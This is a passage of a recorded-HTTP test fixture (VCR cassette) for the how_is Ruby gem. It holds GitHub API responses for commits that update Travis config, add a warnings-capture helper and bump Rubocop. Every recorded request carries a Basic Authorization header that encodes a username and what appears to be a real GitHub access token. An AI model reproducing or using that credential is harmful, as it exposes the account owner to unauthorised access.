2.4.1","tree":{"sha":"cdaefb02a57bfda25120db0f74fdf44a9021be48","url":"https://api.github.com/repos/how-is/how_is/git/trees/cdaefb02a57bfda25120db0f74fdf44a9021be48"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","html_url":"https://github.com/how-is/how_is/commit/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"48cd7abf29b128314a9d605f619cbe78ee90abe3","url":"https://api.github.com/repos/how-is/how_is/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3","html_url":"https://github.com/how-is/how_is/commit/48cd7abf29b128314a9d605f619cbe78ee90abe3"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"10124b4bd28aea10470e6e941b5d667663ff2fb4","filename":".travis.yml","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/7be2e3784e54c0f006261bef1a2e9a80bf3a7851/.travis.yml","raw_url":"https://github.com/how-is/how_is/raw/7be2e3784e54c0f006261bef1a2e9a80bf3a7851/.travis.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.travis.yml?ref=7be2e3784e54c0f006261bef1a2e9a80bf3a7851","patch":"@@ -1,3 +1,4 @@\n language: ruby\n rvm:\n - 2.3.3\n+ - 2.4.1"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:43 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3354' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7bdfcb571c99b5da1765f91f850402e1" Last-Modified: - Fri, 14 Jul 2017 13:46:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 367D:5DE0:1FD22E:45A7EA:5CC36AEB body: encoding: ASCII-8BIT string: '{"sha":"48cd7abf29b128314a9d605f619cbe78ee90abe3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDhjZDdhYmYyOWIxMjgzMTRhOWQ2MDVmNjE5Y2JlNzhlZTkwYWJlMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T13:46:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T13:46:21Z"},"message":"Pass -w to Ruby when running ''rake spec''.","tree":{"sha":"dc9dc2e186e8017c7acc1722991317eb58067649","url":"https://api.github.com/repos/how-is/how_is/git/trees/dc9dc2e186e8017c7acc1722991317eb58067649"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3","html_url":"https://github.com/how-is/how_is/commit/48cd7abf29b128314a9d605f619cbe78ee90abe3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f1ae158305ecb464bb00ceeed211c2129d678cd2","url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","html_url":"https://github.com/how-is/how_is/commit/f1ae158305ecb464bb00ceeed211c2129d678cd2"}],"stats":{"total":69,"additions":66,"deletions":3},"files":[{"sha":"a6193c2e1e18743defe37a732028847503a9348b","filename":"Rakefile","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/48cd7abf29b128314a9d605f619cbe78ee90abe3/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/48cd7abf29b128314a9d605f619cbe78ee90abe3/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=48cd7abf29b128314a9d605f619cbe78ee90abe3","patch":"@@ -6,7 +6,9 @@ require ''timecop''\n require ''./spec/vcr_helper.rb''\n require ''how_is''\n \n-RSpec::Core::RakeTask.new(:spec)\n+RSpec::Core::RakeTask.new(:spec) do |t|\n+ t.ruby_opts = ''-w -r./spec/capture_warnings.rb''\n+end\n \n task :default => :spec\n "},{"sha":"51356450adcf65cced875d334cbccbf8f69e5964","filename":"lib/how_is.rb","status":"modified","additions":19,"deletions":2,"changes":21,"blob_url":"https://github.com/how-is/how_is/blob/48cd7abf29b128314a9d605f619cbe78ee90abe3/lib/how_is.rb","raw_url":"https://github.com/how-is/how_is/raw/48cd7abf29b128314a9d605f619cbe78ee90abe3/lib/how_is.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is.rb?ref=48cd7abf29b128314a9d605f619cbe78ee90abe3","patch":"@@ -123,7 +123,9 @@ def self.generate_frontmatter(frontmatter, report_data)\n report_data = convert_keys(report_data, :to_sym)\n \n frontmatter = frontmatter.map { |k, v|\n- v = v % report_data\n+ # Sometimes report_data has unused keys, which generates a warning, but\n+ # we''re okay with it.\n+ v = silence_warnings { v % report_data }\n \n [k, v]\n }.to_h\n@@ -159,7 +161,9 @@ def self.from_config(config,\n generated_reports = {}\n \n config[''reports''].map do |format, report_config|\n- filename = report_config[''filename''] % report_data\n+ # Sometimes report_data has unused keys, which generates a warning, but\n+ # we''re okay with it.\n+ filename = silence_warnings { report_config[''filename''] % report_data }\n file = File.join(report_config[''directory''], filename)\n \n report = report_class.export(analysis, format)\n@@ -196,4 +200,17 @@ def self.convert_keys(data, method_name)\n data.map { |k, v| [k.send(method_name), v] }.to_h\n end\n private_class_method :convert_keys\n+\n+ def self.silence_warnings(&block)\n+ with_warnings(nil, &block)\n+ end\n+ private_class_method :silence_warnings\n+\n+ def self.with_warnings(flag, &_block)\n+ old_verbose, $VERBOSE = $VERBOSE, flag\n+ yield\n+ ensure\n+ $VERBOSE = old_verbose\n+ end\n+ private_class_method :with_warnings\n end"},{"sha":"f78137bd1e192973edbb0180bbbe87df256084e6","filename":"spec/capture_warnings.rb","status":"added","additions":44,"deletions":0,"changes":44,"blob_url":"https://github.com/how-is/how_is/blob/48cd7abf29b128314a9d605f619cbe78ee90abe3/spec/capture_warnings.rb","raw_url":"https://github.com/how-is/how_is/raw/48cd7abf29b128314a9d605f619cbe78ee90abe3/spec/capture_warnings.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/capture_warnings.rb?ref=48cd7abf29b128314a9d605f619cbe78ee90abe3","patch":"@@ -0,0 +1,44 @@\n+module Warning\n+ CODEBASE_LOCATION = File.expand_path(''../'', __dir__)\n+ BUNDLER_DIR_LOCATION = File.expand_path(''.bundle'', CODEBASE_LOCATION)\n+\n+ @@other_warnings = []\n+ @@howis_warnings = []\n+\n+ # Override Warning.warn(), so warnings from -w and -W are only printed\n+ # for things in how_is'' codebase.\n+ def self.warn(msg)\n+ path = File.realpath(caller_locations.first.path)\n+\n+ # Only print warnings for files in how_is'' codebase.\n+ if path.start_with?(CODEBASE_LOCATION) && !path.start_with?(BUNDLER_DIR_LOCATION)\n+ @@howis_warnings << msg\n+ super(msg)\n+ else\n+ @@other_warnings << msg\n+ end\n+ end\n+\n+ def howis_warnings\n+ @@howis_warnings\n+ end\n+\n+ def other_warnings\n+ @@other_warnings\n+ end\n+\n+ def self.has_warnings?\n+ @@howis_warnings.length > 0 || @@other_warnings.length > 0\n+ end\n+end\n+\n+at_exit {\n+ if Warning.has_warnings?\n+ puts \"=== Warnings ===\"\n+ puts \"#{Warning.howis_warnings.length} warnings in how_is.\"\n+ puts \"#{Warning.other_warnings.length} warnings in how_is'' dependencies.\"\n+ puts \"================\"\n+ else\n+ puts \"No warnings found in the codebase.\"\n+ end\n+}"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:43 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3353' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"1d4f22340eebed17fc118ff98ee9a3ec" Last-Modified: - Fri, 14 Jul 2017 11:49:43 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - B35B:7F36:2823E7:510360:5CC36AEB body: encoding: ASCII-8BIT string: '{"sha":"f1ae158305ecb464bb00ceeed211c2129d678cd2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjFhZTE1ODMwNWVjYjQ2NGJiMDBjZWVlZDIxMWMyMTI5ZDY3OGNkMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T11:49:43Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T11:49:43Z"},"message":"Merge pull request #167 from how-is/rubocop-cleanup\n\nRubocop cleanup","tree":{"sha":"d028734d20380814bff732bfe144954623b62754","url":"https://api.github.com/repos/how-is/how_is/git/trees/d028734d20380814bff732bfe144954623b62754"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","html_url":"https://github.com/how-is/how_is/commit/f1ae158305ecb464bb00ceeed211c2129d678cd2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2528ba463cb751fe4a24b56e7ab056a438c47822","url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","html_url":"https://github.com/how-is/how_is/commit/2528ba463cb751fe4a24b56e7ab056a438c47822"},{"sha":"7b2ced80f8707fdd7a1260c5ba03108076cba777","url":"https://api.github.com/repos/how-is/how_is/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777","html_url":"https://github.com/how-is/how_is/commit/7b2ced80f8707fdd7a1260c5ba03108076cba777"}],"stats":{"total":4,"additions":3,"deletions":1},"files":[{"sha":"ab5928e4a72f9c229ff38f1043fca03af78231f3","filename":".rubocop.yml","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/f1ae158305ecb464bb00ceeed211c2129d678cd2/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/f1ae158305ecb464bb00ceeed211c2129d678cd2/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=f1ae158305ecb464bb00ceeed211c2129d678cd2","patch":"@@ -115,6 +115,8 @@ Style/PercentLiteralDelimiters:\n Enabled: true\n PreferredDelimiters:\n default: \"[]\"\n+ ''%w'': ''[]''\n+ ''%W'': ''[]''\n \n # `has_key?` and `has_value?` are clearer than `key?` and `value?`.\n Style/PreferredHashMethods:"},{"sha":"8ebccdf6a4ebfe9304073f9ad2d01aaa6c6ba6d3","filename":"how_is.gemspec","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/f1ae158305ecb464bb00ceeed211c2129d678cd2/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/f1ae158305ecb464bb00ceeed211c2129d678cd2/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=f1ae158305ecb464bb00ceeed211c2129d678cd2","patch":"@@ -31,5 +31,5 @@ Gem::Specification.new do |spec|\n spec.add_development_dependency \"timecop\", \"~> 0.8.1\"\n spec.add_development_dependency \"vcr\", \"~> 3.0\"\n spec.add_development_dependency \"webmock\"\n- spec.add_development_dependency \"rubocop\", \"~> 0.46.0\"\n+ spec.add_development_dependency \"rubocop\", \"~> 0.47.0\"\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:43 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3352' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8e2a28f90d35033656cd7305f5929810" Last-Modified: - Fri, 14 Jul 2017 01:42:07 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - E115:34BE:1F45EA:44D7F6:5CC36AEB body: encoding: ASCII-8BIT string: '{"sha":"7b2ced80f8707fdd7a1260c5ba03108076cba777","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2IyY2VkODBmODcwN2ZkZDdhMTI2MGM1YmEwMzEwODA3NmNiYTc3Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:42:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:42:07Z"},"message":"[rubocop] use %w[] and %W[] instead of %w() and %W()","tree":{"sha":"d028734d20380814bff732bfe144954623b62754","url":"https://api.github.com/repos/how-is/how_is/git/trees/d028734d20380814bff732bfe144954623b62754"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777","html_url":"https://github.com/how-is/how_is/commit/7b2ced80f8707fdd7a1260c5ba03108076cba777","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d25925f44897dc0b35aaf940cef25d89460856be","url":"https://api.github.com/repos/how-is/how_is/commits/d25925f44897dc0b35aaf940cef25d89460856be","html_url":"https://github.com/how-is/how_is/commit/d25925f44897dc0b35aaf940cef25d89460856be"}],"stats":{"total":2,"additions":2,"deletions":0},"files":[{"sha":"ab5928e4a72f9c229ff38f1043fca03af78231f3","filename":".rubocop.yml","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/7b2ced80f8707fdd7a1260c5ba03108076cba777/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/7b2ced80f8707fdd7a1260c5ba03108076cba777/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=7b2ced80f8707fdd7a1260c5ba03108076cba777","patch":"@@ -115,6 +115,8 @@ Style/PercentLiteralDelimiters:\n Enabled: true\n PreferredDelimiters:\n default: \"[]\"\n+ ''%w'': ''[]''\n+ ''%W'': ''[]''\n \n # `has_key?` and `has_value?` are clearer than `key?` and `value?`.\n Style/PreferredHashMethods:"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:43 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/d25925f44897dc0b35aaf940cef25d89460856be body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3351' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"20e3c6ae52f2f7d19f43634a7fa595b4" Last-Modified: - Fri, 14 Jul 2017 01:39:07 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - BE72:6D3E:273754:4F70CC:5CC36AEB body: encoding: ASCII-8BIT string: '{"sha":"d25925f44897dc0b35aaf940cef25d89460856be","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDI1OTI1ZjQ0ODk3ZGMwYjM1YWFmOTQwY2VmMjVkODk0NjA4NTZiZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:39:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:39:07Z"},"message":"bump rubocop version.","tree":{"sha":"b3495a7bd7924c35553e472ed7fd0c3243e85978","url":"https://api.github.com/repos/how-is/how_is/git/trees/b3495a7bd7924c35553e472ed7fd0c3243e85978"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d25925f44897dc0b35aaf940cef25d89460856be","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d25925f44897dc0b35aaf940cef25d89460856be","html_url":"https://github.com/how-is/how_is/commit/d25925f44897dc0b35aaf940cef25d89460856be","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d25925f44897dc0b35aaf940cef25d89460856be/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2528ba463cb751fe4a24b56e7ab056a438c47822","url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","html_url":"https://github.com/how-is/how_is/commit/2528ba463cb751fe4a24b56e